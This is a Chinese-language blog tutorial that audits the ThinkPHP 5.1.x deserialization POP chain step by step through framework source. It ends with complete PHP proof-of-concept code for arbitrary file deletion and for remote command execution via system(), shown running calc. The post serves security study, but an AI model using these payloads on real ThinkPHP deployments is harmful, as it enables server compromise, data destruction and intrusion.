ThinkPHP审计(2) Thinkphp反序列化链5.1.X原理分析从0编写POC

ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC

文章目录

  • ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
  • 动态调试环境配置
  • Thinkphp反序列化链5.1.X原理分析
    • 一.实现任意文件删除
    • 二.实现任意命令执行
      • 真正的难点
  • Thinkphp反序列化链5.1.x 编写 Poc
  • 汇总POC

动态调试环境配置

比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/

Thinkphp反序列化链5.1.X原理分析

原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性

前提:存在反序列化的入口

  1. unserialize()
  2. phar反序列化
  3. session反序列化

__destruct/__wakeup可以作为PHP反序列链的入口
这里简单介绍一下__destruct垃圾回收机制与生命周期的含义
__destruct可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关

例如:

<?php
class Test{
    public $name;
    public $age;
    public $string;
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';



?>

image-20240406220859479

这里$test = new test("test",18, 'Test String');

对象被赋值给了$test变量,而不是直接的new test("test",18, 'Test String'); 传递给对象延长了对象的生命周期

所以是在echo '第二种执行完毕'.'<br>';执行后才执行了__destruct内容

类似的比如快速销毁(Fast-destruct)

<?php
class Test{
    public $name;
    public $age;
    public $string;
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}

//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';



?>

image-20240406222646374

这里直接__construct后执行__destruct

因为unset — 清除指定变量直接销毁储存对象的变量,达到快速垃圾回收的目的

现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法

image-20240406223848195

跟进removeFiles

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

image-20240406224229041

发现遍历$this->files,而且$this->files可控,作为数组传递

一.实现任意文件删除

@unlink($filename);删除了传递的filename

简单编写poc

<?php
namespace think\process\pipes;

use think\Process;
class Pipes{};

class Windows extends Pipes
{
	 
    private $files = ["D:\\flag.txt"];

	
}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>

可以实现任意文件的的删除

image-20240406224903636

二.实现任意命令执行

除了任意文件删除,危害还可以更大吗?

通过POP链可以实现任意命令执行

image-20240406165716844

全局逻辑图

image-20240406165638396

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

file_exists函数用于判断文件是否存在

预期传入 String $filename但是如果我们控制$filename作为一个对象,就可以隐形的调用类的__toString()方法

image-20240406225107568

thinkphp/library/think/model/concern/Conversion.php

public function __toString()
    {
        return $this->toJson();
    }
  public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

关键的几个判断和赋值

public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
 if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
                    }
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
public function getData($name = null)//$name = $key =peanut
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

$relation->visible($name);$relation可控,可以实现任意类的visible方法,如果visible方法不存在,就会调用这个类的__call方法

如何达到$relation->visible($name); 触发点 访问

        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
  1. 保证$this->append不为空
  2. $this->append 数组的值$name为数组 也就是二维数组

比如传入append:["peanut"=>["whoami"]]

接着向下走

$relation = $this->getRelation($key);

                    if (!$relation) {
public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

不会进入if/elseif中 直接return;回来 为null

if (!$relation)为空进入判断

 $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

进入$this->getData

public function getData($name = null)//$name = $key =peanut
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

判断了$this->data传递的键存在,如果存在,返回其数组对应的键值

比如可以控制$this->data = ['peanut'=>new request()]

 $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }

$relation->visible($name);$relation可控为任意类

现在寻找调用__call的类

thinkphp/library/think/Request.php

  public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }

这里存在敏感关键函数call_user_func_array

__call($method, $args)接受的参数`

$method固定是visible

$args是传递过来的$name

 if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);

可以控制$this->hook['visible']为任意值,可以控制函数名

call_user_func()的利用方式无非两种

__call_user_func($method, $args) __

call_user_func_array([ o b j , obj, obj,method], $args)

如果执行第一种方式call_user_func($method, $args)

但是这里array_unshift($args, $this); 参数插入$this作为第一个值

image-20240407001625248

参数是不能被正常命令识别的,不能直接RCE

那我们最终的利用点可以肯定并不是这里

如果选择第二种方式

call_user_func_array([$obj,$method], $args)

**通过调用 任意类 的 任意方法 **,可供选择的可能性更多

call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,""],[this,任意参数])

也就是 o b j − > obj-> obj>func( t h i s , this, this,argv)

真正的难点

曲线救国的策略

难点理解:

__call魔术方法受到array_unshift无法可控触发call_user_func_array

利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func

为什么这里选RequestisAjax方法 接着POP链的调用了?

为什么当时的链子发现的作者会想到通过isAjax接着执行命令?

网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了

Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推

开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能

而我们又希望最终实现RCE的效果

我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令

比如call_user_func,call_user_func_array,array_map,array_filter...

thinkphp/library/think/Request.php

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

$filter , $value 可控

通过传递 $filter , $value实现任意命令执行

那么什么地方调用了filterValue?回溯调用filterValue的地方

image-20240407141514973

thinkphp/library/think/Request.phpinput调用

$this->filterValue($data, $name, $filter);

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter); //调用点
        }

input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

什么地方又调用了input函数? Request类中的param函数

image-20240407141815137

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

什么地方又调用了param函数?

image-20240407142005524

是在thinkphp/library/think/Request.phpisAjax方法调用

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

我们可以控制$this->config['var_ajax']为任意值

通过 call_user_func(['object','method',['$this','args']]);

实现 跳转 Request类的isAjax方法

image-20240406165638396

至此实现整个链路的闭合

Thinkphp反序列化链5.1.x 编写 Poc

image-20240407143848950

我们开始编写Poc时可以以魔术方法作为每个部分的 分界点

因为魔术方法的实现 往往时 跨类

注意声明一下 命名空间

image-20240407144240558

image-20240407150126056

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

实现触发 new Pivot(任意类)的__toString魔术方法

触发thinkphp/library/think/model/concern/Conversion.php

image-20240407144729146

注意一下这里是trait Conversion

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

__toString->toJson->toArray->visible->

if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
                    }

保证几个条件

  1. $this->append有值
  2. $this->append的键对应的值为数组
  3. $this->data存在同名key,value的值就就是 跳转的任意类的visible方法

image-20240407150142185

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['coleak'=>['']];
        $this->data=['coleak'=>new Request()];
    }
}

//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

可以实现跳转到Request类的_call方法

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

image-20240407150244868

接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)

$method一定是visible

因此可以控制$this->hook=['visible'=>[$this,'isAjax']];

跳转 Request类的isAjax方法

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

控制$this->config['var_ajax'])存在即可

调用$this->param函数

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

这里直接初始化

$name = '', $default = null, $filter = ''

不进入第一个if判断

if (!$this->mergeParam)

控制protected $mergeParam = true;

其他条件无论执行与否,最后

return $this->input($this->param, $name, $default, $filter);

进入input函数

 public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

初始化默认$data = [], $name = '', $default = null, $filter = ''

一定会进入$this->filterValue($data, $name, $filter);

调用函数filterValue

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

控制$filter作为系统命令

protected $filter;
$this->filter=['system'];

filterValue.value的值为第一个通过GET请求的值

可以控制&$value的值作为命令的参数

protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径

综合一下

image-20240407150244868

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
    protected $config = [
        'var_ajax'         => '',
    ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}

汇总POC

<?php

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
    protected $config = [
        'var_ajax'         => '',
    ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['coleak'=>['']];
        $this->data=['coleak'=>new Request()];
    }
}

//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据

image-20240407155602078

可以成功执行系统命令

本次链子涉及三个关键类

  1. Windows
  2. Conversion
  3. Request

可以浅浅记一下
可以调试看看具体的值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/523032.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

探索 2024 年徽标制作的最佳定制 GPT

智能徽标设计革命&#xff1a;探索最佳定制GPT工具 介绍 在快速发展的数字设计世界中&#xff0c;随着定制生成预训练 Transformer (GPT) 的出现&#xff0c;徽标的创建取得了重大飞跃。 这些先进的人工智能工具彻底改变了设计师设计徽标的方式&#xff0c;提供了前所未有的创造…

HCIA-Datacom H12-811 题库补充(4/7)

完整题库及答案解析&#xff0c;请直接扫描上方二维码&#xff0c;持续更新中 共享介质型网络使用哪一种技术进行数据转发&#xff1f; A&#xff1a;CDMA/CD B&#xff1a;CSMA/AC C&#xff1a;TDMA/CD D&#xff1a;CSMA/CD 答案&#xff1a;D 解析&#xff1a;以太网 CSMA …

详解多态、虚继承、多重继承内存布局及虚表(C++)

本篇文章深入分析多态、虚继承、多重继承的内存布局及虚函数表以及实现原理。编译器使用VS 2022&#xff0c;直接放结论&#xff0c;代码及内存调试信息在后文。 结论 内存布局 一个没有虚函数的类&#xff0c;它的大小其实就是所有成员变量的大小&#xff0c;此时它就是一个…

手机如何在线制作gif?轻松一键在线操作

现在大家都喜欢使用手机来拍摄记录有趣的事物&#xff0c;但是时间长了手机里的视频越来越多导致手机存储空间不够了&#xff0c;这些视频又不想删除时应该怎么办呢&#xff1f;这个很简单&#xff0c;下面就给大家分享一款不用下载手机就能操作的视频转gif网站-GIF中文网&…

【海思SS528 | VDEC】查看VDEC的proc调试信息 | cat /proc/umap/vdec

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; &#x1f923;本文内容&#x1f923;&a…

稀碎从零算法笔记Day38-LeetCode:除自身以外数组的乘积

题型&#xff1a;数组、前缀、分治、 链接&#xff1a;238. 除自身以外数组的乘积 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之…

Linux:安装zabbix-agent被监控端(2)

本章是结合着上一篇文章的续作 Linux&#xff1a;部署搭建zabbix6&#xff08;1&#xff09;-CSDN博客https://blog.csdn.net/w14768855/article/details/137426966?spm1001.2014.3001.5501本章将在两台centos部署agent端&#xff0c;然后使用server进行连接监控 agent1 在1…

突破编程_前端_SVG(基础元素介绍)

1 rect 矩形 在 SVG 中&#xff0c;<rect> 元素用于创建圆形。 &#xff08;1&#xff09;基本语法 <rectx"x坐标"y"y坐标"width"宽度"height"高度"rx"可选&#xff1a;圆角x半径"ry"可选&#xff1a;圆角…

达梦数据库记录

1.计算日期差 SELECT DATEDIFF(day,sysdate(), 2024-06-01) 2.出现HJ_BUF_GLOBAL_SIZE设置不当造成应用报错的问题&#xff0c;详细信息如下&#xff1a; dm.jdbc.driver.DMException: 超出全局hash join空间,适当增加HJ_BUF_GLOBAL_SIZEat dm.jdbc.driver.DBError.throwExce…

Java设计模式:桥接模式实现灵活组合,超越单一继承的设计之道(十)

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 目录 一、引言二、什么是桥接设计模式三、桥接设计模式的核心思想四、桥接设计模式的角色五、桥接设计模式的工作流程和实现实现方…

如何设置win10系统不更新,win10怎么设置系统不更新系统

Win10频繁地更新让很多用户感到困扰,虽然我们都知道,更新系统有利于提高系统的安全性,同时还能获得功能更新以及一些bug修复,但是过于频繁的更新会让人感到疲惫,也有不少用户对此举表示反感。一般情况下,win10系统是默认自动更新的,如何阻止系统自动更新呢?下面,小编跟…

文件夹类型变无?数据恢复有高招!

在日常使用电脑的过程中&#xff0c;我们有时会遇到一种奇怪的现象&#xff1a;原本整齐有序的文件夹突然变成了无类型的状态&#xff0c;即文件夹类型变无。这些文件夹失去了原有的图标和属性&#xff0c;变成了系统无法识别的空白图标&#xff0c;甚至无法打开。这种情况下&a…

甘特图/横道图制作技巧 - 任务组

在甘特图中通过合理的任务分组可以让项目更加清晰&#xff0c;修改也更方便。 列如下面的甘特图一眼不太容易看清楚整体的进度。或者需要把所有的任务整体的延迟或者提前只能这样一个一个的任务调整&#xff0c;就比较麻烦。 通过给任务分组&#xff0c;看这上面整体的进度就…

Redis安装及基本类型详解

目录 一、Redis概念 二、Redis的应用场景 三、Redis的特点 四、redis访问数据为什么快&#xff1f; 五、Ubuntu下安装redis 五、全局命令(针对任意类型value都可使用) 1、keys &#xff08;1&#xff09;keys * &#xff08;2&#xff09;keys pattern 2、exists 3、…

git Failed to connect to 你的网址 port 8282: Timed out

git Failed to connect to 你的网址 port 8282: Timed out 出现这个问题的原因是&#xff1a;原来的仓库换了网址&#xff0c;原版网址不可用了。 解决方法如下&#xff1a; 方法一&#xff1a;查看git用户配置是否有如下配置 http.proxyhttp://xxx https.proxyhttp://xxx如果…

《梦幻西游》迎来史上最大翻车,老玩家们为何纷纷揭竿而起?

因一次调整&#xff0c;21岁的《梦幻西游》迎来了自己有史以来最大的一波节奏。 玩家在微博上炮轰官方&#xff0c;称&#xff1a;“游戏借着打击工作室牟利的称号&#xff0c;砍副本活动产出&#xff0c;然后自己口袋无限卖”&#xff0c;要求改善游戏现状。 从3月29日起&am…

uniapp 密码框的眼睛

效果展示&#xff1a; uniapp input 官网链接&#xff1a;链接 按照官方文档&#xff0c;uni-icon出不来。 通过自己的方法解决了&#xff0c;解决方案如下&#xff1a; 代码&#xff1a; <uni-forms-item name"password"><inputclass"uni-input&quo…

background背景图参数边渐变CSS中创建背景图像的渐变效果

效果:可以看到灰色边边很难受,希望和背景融为一体 原理: 可以使用线性渐变&#xff08;linear-gradient&#xff09;或径向渐变&#xff08;radial-gradient&#xff09;。以下是一个使用线性渐变作为背景图像 代码: background: linear-gradient(to top, rgba(255,255,255,0)…

【Linux】指令

1. 简单指令 whoami 显示当前登入账号名 ls /home 现在有的用户名 adduser 用户名 新加用户&#xff08;必须在root目录下&#xff09; passwd 用户名 给这个用户设置密码 userdel -r 用户名 删除这个用户 pwd 显示当前所处路径 stat 文件名 / 文件夹名 显示文件状…

学习大数据之JDBC(使用JAVA语句进行SQL操作)(3)

文章目录 DBUtils工具包准备工作DBUtils的介绍QueryRunner空参的QueryRunner的介绍以及使用有参QueryRunner的介绍以及使用 ResultSetHandler结果集BeanHandler<T>BeanListHandler<T>ScalarHanderColumnListHander 事务事务事务_转账分析图实现转账&#xff08;不加…